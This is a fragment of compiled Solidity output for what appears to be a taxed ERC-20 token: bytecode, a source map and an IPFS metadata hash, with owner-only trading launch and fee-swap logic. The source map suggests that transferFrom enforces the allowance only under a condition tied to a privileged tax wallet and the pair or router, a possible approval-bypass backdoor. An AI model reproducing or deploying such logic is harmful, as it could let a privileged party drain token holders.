461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161039c565b5f610ce883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cef565b5f81836110645760405162461bcd60e51b815260040161039c9190611070565b505f610d1e8486611317565b5f602080835283518060208501525f5b8181101561109c57858101830151858201604001528201611080565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146110d0575f80fd5b50565b5f80604083850312156110e4575f80fd5b82356110ef816110bc565b946020939093013593505050565b5f805f6060848603121561110f575f80fd5b833561111a816110bc565b9250602084013561112a816110bc565b929592945050506040919091013590565b5f6020828403121561114b575f80fd5b8135610ce8816110bc565b5f8060408385031215611167575f80fd5b8235611172816110bc565b91506020830135611182816110bc565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156111db57815f19048211156111c1576111c161118d565b808516156111ce57918102915b93841c93908002906111a6565b509250929050565b5f826111f1575060016102aa565b816111fd57505f6102aa565b8160018114611213576002811461121d57611239565b60019150506102aa565b60ff84111561122e5761122e61118d565b50506001821b6102aa565b5060208310610133831016604e8410600b841016171561125c575081810a6102aa565b61126683836111a1565b805f19048211156112795761127961118d565b029392505050565b5f610ce860ff8416836111e3565b80820281158282048414176102aa576102aa61118d565b5f602082840312156112b6575f80fd5b8151610ce8816110bc565b5f805f606084860312156112d3575f80fd5b8351925060208401519150604084015190509250925092565b5f600182016112fd576112fd61118d565b5060010190565b818103818111156102aa576102aa61118d565b5f8261133157634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561139a5784516001600160a01b031683529383019391830191600101611375565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156102aa576102aa61118d56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200c66a7f411a4770bf6f2a40a5418c55ba64f3603e8b7e12e9ed2f6c90c6c599964736f6c63430008170033

3641:6507:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5197:83;;;;;;;;;;-1:-1:-1;5267:5:0;;;;;;;;;;;;-1:-1:-1;;;5267:5:0;;;;5197:83;;;;;;;:::i;:::-;;;;;;;;6030:161;;;;;;;;;;-1:-1:-1;6030:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6030:161:0;1023:187:1;5474:95:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;5474:95:0;1215:177:1;6199:344:0;;;;;;;;;;-1:-1:-1;6199:344:0;;;;;:::i;:::-;;:::i;5383:83::-;;;;;;;;;;-1:-1:-1;5383:83:0;;4389:1;2000:36:1;;1988:2;1973:18;5383:83:0;1858:184:1;5577:119:0;;;;;;;;;;-1:-1:-1;5577:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5670:18:0;5643:7;5670:18;;;:9;:18;;;;;;;5577:119;2733:148;;;;;;;;;;;;;:::i;:::-;;2519:79;;;;;;;;;;-1:-1:-1;2557:7:0;2584:6;2519:79;;-1:-1:-1;;;;;2584:6:0;;;2445:51:1;;2433:2;2418:18;2519:79:0;2299:203:1;5288:87:0;;;;;;;;;;-1:-1:-1;5360:7:0;;;;;;;;;;;;-1:-1:-1;;;5360:7:0;;;;5288:87;;5704:167;;;;;;;;;;-1:-1:-1;5704:167:0;;;;;:::i;:::-;;:::i;9554:554::-;;;;;;;;;;;;;:::i;5879:143::-;;;;;;;;;;-1:-1:-1;5879:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;5987:18:0;;;5960:7;5987:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5879:143;6030:161;6105:4;6122:39;354:10;6145:7;6154:6;6122:8;:39::i;:::-;-1:-1:-1;6179:4:0;6030:161;;;;;:::o;5474:95::-;5527:7;4450:13;4389:1;4450:2;:13;:::i;:::-;4432:31;;:15;:31;:::i;:::-;5547:14;;5474:95;:::o;6199:344::-;6297:4;6314:36;6324:6;6332:9;6343:6;6314:9;:36::i;:::-;6354:27;6363:6;6371:9;6354:8;:27::i;:::-;6351:162;;;6392:121;6401:6;354:10;6423:89;6461:6;6423:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6423:19:0;;;;;;:11;:19;;;;;;;;354:10;6423:33;;;;;;;;;;:37;:89::i;:::-;6392:8;:121::i;:::-;-1:-1:-1;6531:4:0;6199:344;;;;;:::o;2733:148::-;2646:6;;-1:-1:-1;;;;;2646:6:0;354:10;2646:22;2638:67;;;;-1:-1:-1;;;2638:67:0;;4784:2:1;2638:67:0;;;4766:21:1;;;4803:18;;;4796:30;4862:34;4842:18;;;4835:62;4914:18;;2638:67:0;;;;;;;;;2840:1:::1;2824:6:::0;;2803:40:::1;::::0;-1:-1:-1;;;;;2824:6:0;;::::1;::::0;2803:40:::1;::::0;2840:1;;2803:40:::1;2871:1;2854:19:::0;;-1:-1:-1;;;;;;2854:19:0::1;::::0;;2733:148::o;5704:167::-;5782:4;5799:42;354:10;5823:9;5834:6;5799:9;:42::i;9554:554::-;2646:6;;-1:-1:-1;;;;;2646:6:0;354:10;2646:22;2638:67;;;;-1:-1:-1;;;2638:67:0;;4784:2:1;2638:67:0;;;4766:21:1;;;4803:18;;;4796:30;4862:34;4842:18;;;4835:62;4914:18;;2638:67:0;4582:356:1;2638:67:0;9618:14:::1;::::0;-1:-1:-1;;;9618:14:0;::::1;;;9617:15;9609:50;;;::::0;-1:-1:-1;;;9609:50:0;;5145:2:1;9609:50:0::1;::::0;::::1;5127:21:1::0;5184:2;5164:18;;;5157:30;5223:25;5203:18;;;5196:53;5266:18;;9609:50:0::1;4943:347:1::0;9609:50:0::1;9670:10;:64:::0;;-1:-1:-1;;;;;;9670:64:0::1;9691:42;9670:64:::0;;::::1;::::0;;;9745:53:::1;::::0;9762:4:::1;::::0;4450:13:::1;4389:1;4450:2;:13;:::i;:::-;4432:31;::::0;:15:::1;:31;:::i;9745:53::-;9838:10;;;;;;;;;-1:-1:-1::0;;;;;9838:10:0::1;-1:-1:-1::0;;;;;9838:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9820:50:0::1;;9879:4;9886:10;;;;;;;;;-1:-1:-1::0;;;;;9886:10:0::1;-1:-1:-1::0;;;;;9886:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9820:84;::::0;-1:-1:-1;;;;;;9820:84:0::1;::::0;;;;;;-1:-1:-1;;;;;5781:15:1;;;9820:84:0::1;::::0;::::1;5763:34:1::0;5833:15;;5813:18;;;5806:43;5698:18;;9820:84:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9809:8;:95:::0;;-1:-1:-1;;;;;9809:95:0;;::::1;-1:-1:-1::0;;;;;;9809:95:0;;::::1;;::::0;;9915:10:::1;::::0;::::1;:26;9949:21;9980:4;9986:24;9980:4:::0;-1:-1:-1;;;;;5670:18:0;5643:7;5670:18;;;:9;:18;;;;;;;5577:119;9986:24:::1;10011:1;10013::::0;10015:7:::1;2557::::0;2584:6;-1:-1:-1;;;;;2584:6:0;;2519:79;10015:7:::1;9915:124;::::0;::::1;::::0;;;-1:-1:-1;;;;;;9915:124:0;;;-1:-1:-1;;;;;6219:15:1;;;9915:124:0::1;::::0;::::1;6201:34:1::0;6251:18;;;6244:34;;;;6294:18;;;6287:34;;;;6337:18;;;6330:34;6401:15;;;6380:19;;;6373:44;10023:15:0::1;6433:19:1::0;;;6426:35;6135:19;;9915:124:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10050:11:0::1;:18:::0;;-1:-1:-1;;;;10079:21:0;-1:-1:-1;;;10079:21:0;;;-1:-1:-1;9554:554:0:o;6736:335::-;-1:-1:-1;;;;;6829:19:0;;6821:68;;;;-1:-1:-1;;;6821:68:0;;6985:2:1;6821:68:0;;;6967:21:1;7024:2;7004:18;;;6997:30;7063:34;7043:18;;;7036:62;-1:-1:-1;;;7114:18:1;;;7107:34;7158:19;;6821:68:0;6783:400:1;6821:68:0;-1:-1:-1;;;;;6908:21:0;;6900:68;;;;-1:-1:-1;;;6900:68:0;;7390:2:1;6900:68:0;;;7372:21:1;7429:2;7409:18;;;7402:30;7468:34;7448:18;;;7441:62;-1:-1:-1;;;7519:18:1;;;7512:32;7561:19;;6900:68:0;7188:398:1;6900:68:0;-1:-1:-1;;;;;6979:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7031:32;;1361:25:1;;;7031:32:0;;1334:18:1;7031:32:0;;;;;;;6736:335;;;:::o;7079:1776::-;-1:-1:-1;;;;;7173:19:0;;7165:69;;;;-1:-1:-1;;;7165:69:0;;7793:2:1;7165:69:0;;;7775:21:1;7832:2;7812:18;;;7805:30;7871:34;7851:18;;;7844:62;-1:-1:-1;;;7922:18:1;;;7915:35;7967:19;;7165:69:0;7591:401:1;7165:69:0;-1:-1:-1;;;;;7253:19:0;;7245:67;;;;-1:-1:-1;;;7245:67:0;;8199:2:1;7245:67:0;;;8181:21:1;8238:2;8218:18;;;8211:30;8277:34;8257:18;;;8250:62;-1:-1:-1;;;8328:18:1;;;8321:33;8371:19;;7245:67:0;7997:399:1;7245:67:0;7342:1;7331:8;:12;7323:66;;;;-1:-1:-1;;;7323:66:0;;8603:2:1;7323:66:0;;;8585:21:1;8642:2;8622:18;;;8615:30;8681:34;8661:18;;;8654:62;-1:-1:-1;;;8732:18:1;;;8725:39;8781:19;;7323:66:0;8401:405:1;7323:66:0;7400:17;2584:6;;-1:-1:-1;;;;;7434:16:0;;;2584:6;;7434:16;;;;:36;;-1:-1:-1;2557:7:0;2584:6;-1:-1:-1;;;;;7454:16:0;;;2584:6;;7454:16;;7434:36;7430:1026;;;7499:78;7573:3;7499:69;7523:15;;7513:9;;:25;7512:55;;7553:14;;7512:55;;;7540:12;;7512:55;7499:8;;:12;:69::i;:::-;:73;;:78::i;:::-;7607:8;;7487:90;;-1:-1:-1;;;;;;7598:17:0;;;7607:8;;7598:17;:49;;;;-1:-1:-1;7636:10:0;;-1:-1:-1;;;;;7619:28:0;;;7636:10;;7619:28;;7598:49;:76;;;;-1:-1:-1;;;;;;7653:21:0;;;;;;:14;:21;;;;;;;;7651:23;7598:76;7594:129;;;7696:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7594:129;7751:8;;-1:-1:-1;;;;;7742:17:0;;;7751:8;;7742:17;:42;;;;-1:-1:-1;;;;;;7763:21:0;;7779:4;7763:21;;7742:42;7739:175;;;7817:81;7894:3;7817:72;7841:16;;7831:9;;:26;7830:58;;7873:15;;7830:58;;;7859:13;;7817:8;;:12;:72::i;:81::-;7805:93;;7739:175;7979:4;7930:28;5670:18;;;:9;:18;;;;;;8005:6;;-1:-1:-1;;;8005:6:0;;;;8004:7;:28;;;;-1:-1:-1;8024:8:0;;-1:-1:-1;;;;;8015:17:0;;;8024:8;;8015:17;8004:28;:43;;;;-1:-1:-1;8036:11:0;;-1:-1:-1;;;8036:11:0;;;;8004:43;:77;;;;;8063:18;;8051:9;;:30;8004:77;8000:445;;;8128:14;;8105:20;:37;8102:133;;;8161:74;8178:56;8182:8;8192:41;8196:20;8218:14;;8192:3;:41::i;:::-;8178:3;:56::i;:::-;8161:16;:74::i;:::-;8283:21;8375:35;8388:21;8375:12;:35::i;:::-;8083:362;8000:445;7472:984;7430:1026;8471:11;;8468:162;;8539:4;8521:24;;;;:9;:24;;;;;;:39;;8550:9;8521:28;:39::i;:::-;8514:4;8496:24;;;;:9;:24;;;;;;;:64;;;;8578:40;;-1:-1:-1;;;;;8578:40:0;;;;;;;8608:9;1361:25:1;;1349:2;1334:18;;1215:177;8578:40:0;;;;;;;;8468:162;-1:-1:-1;;;;;8657:16:0;;;;;;:9;:16;;;;;;:30;;8678:8;8657:20;:30::i;:::-;-1:-1:-1;;;;;8640:16:0;;;;;;:9;:16;;;;;:47;8715:45;8736:23;:8;8749:9;8736:12;:23::i;:::-;-1:-1:-1;;;;;8715:16:0;;;;;;:9;:16;;;;;;;:20;:45::i;:::-;-1:-1:-1;;;;;8698:16:0;;;;;;;:9;:16;;;;;:62;;;;8784:10;;;8775:19;8771:76;;-1:-1:-1;;;;;8800:47:0;;;;;;;8823:23;:8;8836:9;8823:12;:23::i;:::-;8800:47;;1361:25:1;;;1349:2;1334:18;8800:47:0;;;;;;;8771:76;7154:1701;7079:1776;;;:::o;6551:177::-;6661:10;;6623:4;;-1:-1:-1;;;;;6661:10:0;6647;:24;;;;:72;;-1:-1:-1;6685:8:0;;-1:-1:-1;;;;;6676:17:0;;;6685:8;;6676:17;;:42;;-1:-1:-1;6708:10:0;;-1:-1:-1;;;;;6697:21:0;;;6708:10;;6697:21;;6676:42;6640:79;6551:177;-1:-1:-1;;;6551:177:0:o;1411:190::-;1497:7;1533:12;1525:6;;;;1517:29;;;;-1:-1:-1;;;1517:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1557:9:0;1569:5;1573:1;1569;:5;:::i;:::-;1557:17;1411:190;-1:-1:-1;;;;;1411:190:0:o;1609:246::-;1667:7;1691:1;1696;1691:6;1687:47;;-1:-1:-1;1721:1:0;1714:8;;1687:47;1744:9;1756:5;1760:1;1756;:5;:::i;:::-;1744:17;-1:-1:-1;1789:1:0;1780:5;1784:1;1744:17;1780:5;:::i;:::-;:10;1772:56;;;;-1:-1:-1;;;1772:56:0;;9508:2:1;1772:56:0;;;9490:21:1;9547:2;9527:18;;;9520:30;9586:34;9566:18;;;9559:62;-1:-1:-1;;;9637:18:1;;;9630:31;9678:19;;1772:56:0;9306:397:1;1863:132:0;1921:7;1948:39;1952:1;1955;1948:39;;;;;;;;;;;;;;;;;:3;:39::i;8863:98::-;8920:7;8947:1;8945;:3;8944:9;;8952:1;8944:9;;;-1:-1:-1;8950:1:0;8863:98;-1:-1:-1;8863:98:0:o;8969:468::-;4863:6;:13;;-1:-1:-1;;;;4863:13:0;-1:-1:-1;;;4863:13:0;;;9071:16:::1;::::0;;9085:1:::1;9071:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9071:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9071:16:0::1;9047:40;;9116:4;9098;9103:1;9098:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9098:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9142:10:::1;::::0;:17:::1;::::0;;-1:-1:-1;;;9142:17:0;;;;:10;;;::::1;::::0;:15:::1;::::0;:17:::1;::::0;;::::1;::::0;9098:7;;9142:17;;;;;:10;:17:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9132:4;9137:1;9132:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9132:27:0;;::::1;:7;::::0;;::::1;::::0;;;;;:27;9202:10:::1;::::0;9170:57:::1;::::0;9187:4:::1;::::0;9202:10:::1;9215:11:::0;9170:8:::1;:57::i;:::-;9238:10;::::0;:191:::1;::::0;-1:-1:-1;;;9238:191:0;;-1:-1:-1;;;;;9238:10:0;;::::1;::::0;:61:::1;::::0;:191:::1;::::0;9314:11;;9238:10:::1;::::0;9356:4;;9383::::1;::::0;9403:15:::1;::::0;9238:191:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4899:6:0;:14;;-1:-1:-1;;;;4899:14:0;;;-1:-1:-1;;;;8969:468:0:o;9445:101::-;9510:10;;9502:36;;-1:-1:-1;;;;;9510:10:0;;;;9502:36;;;;;9531:6;;9510:10;9502:36;9510:10;9502:36;9531:6;9510:10;9502:36;;;;;;;;;;;;;;;;;;;;;9445:101;:::o;1080:179::-;1138:7;;1170:5;1174:1;1170;:5;:::i;:::-;1158:17;;1199:1;1194;:6;;1186:46;;;;-1:-1:-1;;;1186:46:0;;11289:2:1;1186:46:0;;;11271:21:1;11328:2;11308:18;;;11301:30;11367:29;11347:18;;;11340:57;11414:18;;1186:46:0;11087:351:1;1267:136:0;1325:7;1352:43;1356:1;1359;1352:43;;;;;;;;;;;;;;;;;:3;:43::i;2003:189::-;2089:7;2124:12;2117:5;2109:28;;;;-1:-1:-1;;;2109:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2148:9:0;2160:5;2164:1;2160;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:416;3121:1;3158:5;3121:1;3172:270;3193:7;3183:8;3180:21;3172:270;;;3252:4;3248:1;3244:6;3240:17;3234:4;3231:27;3228:53;;;3261:18;;:::i;:::-;3311:7;3301:8;3297:22;3294:55;;;3331:16;;;;3294:55;3410:22;;;;3370:15;;;;3172:270;;;3176:3;3032:416;;;;;:::o;3453:806::-;3502:5;3532:8;3522:80;;-1:-1:-1;3573:1:1;3587:5;;3522:80;3621:4;3611:76;;-1:-1:-1;3658:1:1;3672:5;;3611:76;3703:4;3721:1;3716:59;;;;3789:1;3784:130;;;;3696:218;;3716:59;3746:1;3737:10;;3760:5;;;3784:130;3821:3;3811:8;3808:17;3805:43;;;3828:18;;:::i;:::-;-1:-1:-1;;3884:1:1;3870:16;;3899:5;;3696:218;;3998:2;3988:8;3985:16;3979:3;3973:4;3970:13;3966:36;3960:2;3950:8;3947:16;3942:2;3936:4;3933:12;3929:35;3926:77;3923:159;;;-1:-1:-1;4035:19:1;;;4067:5;;3923:159;4114:34;4139:8;4133:4;4114:34;:::i;:::-;4184:6;4180:1;4176:6;4172:19;4163:7;4160:32;4157:58;;;4195:18;;:::i;:::-;4233:20;;3453:806;-1:-1:-1;;;3453:806:1:o;4264:140::-;4322:5;4351:47;4392:4;4382:8;4378:19;4372:4;4351:47;:::i;4409:168::-;4482:9;;;4513;;4530:15;;;4524:22;;4510:37;4500:71;;4551:18;;:::i;5295:251::-;5365:6;5418:2;5406:9;5397:7;5393:23;5389:32;5386:52;;;5434:1;5431;5424:12;5386:52;5466:9;5460:16;5485:31;5510:5;5485:31;:::i;6472:306::-;6560:6;6568;6576;6629:2;6617:9;6608:7;6604:23;6600:32;6597:52;;;6645:1;6642;6635:12;6597:52;6674:9;6668:16;6658:26;;6724:2;6713:9;6709:18;6703:25;6693:35;;6768:2;6757:9;6753:18;6747:25;6737:35;;6472:306;;;;;:::o;8811:135::-;8850:3;8871:17;;;8868:43;;8891:18;;:::i;:::-;-1:-1:-1;8938:1:1;8927:13;;8811:135::o;8951:128::-;9018:9;;;9039:11;;;9036:37;;;9053:18;;:::i;9084:217::-;9124:1;9150;9140:132;;9194:10;9189:3;9185:20;9182:1;9175:31;9229:4;9226:1;9219:15;9257:4;9254:1;9247:15;9140:132;-1:-1:-1;9286:9:1;;9084:217::o;9840:127::-;9901:10;9896:3;9892:20;9889:1;9882:31;9932:4;9929:1;9922:15;9956:4;9953:1;9946:15;9972:980;10234:4;10282:3;10271:9;10267:19;10313:6;10302:9;10295:25;10339:2;10377:6;10372:2;10361:9;10357:18;10350:34;10420:3;10415:2;10404:9;10400:18;10393:31;10444:6;10479;10473:13;10510:6;10502;10495:22;10548:3;10537:9;10533:19;10526:26;;10587:2;10579:6;10575:15;10561:29;;10608:1;10618:195;10632:6;10629:1;10626:13;10618:195;;;10697:13;;-1:-1:-1;;;;;10693:39:1;10681:52;;10788:15;;;;10753:12;;;;10729:1;10647:9;10618:195;;;-1:-1:-1;;;;;;;10869:32:1;;;;10864:2;10849:18;;10842:60;-1:-1:-1;;;10933:3:1;10918:19;10911:35;10830:3;9972:980;-1:-1:-1;;;9972:980:1:o;10957:125::-;11022:9;;;11043:10;;;11040:36;;;11056:18;;:::i

ipfs://0c66a7f411a4770bf6f2a40a5418c55ba64f3603e8b7e12e9ed2f6c90c6c5999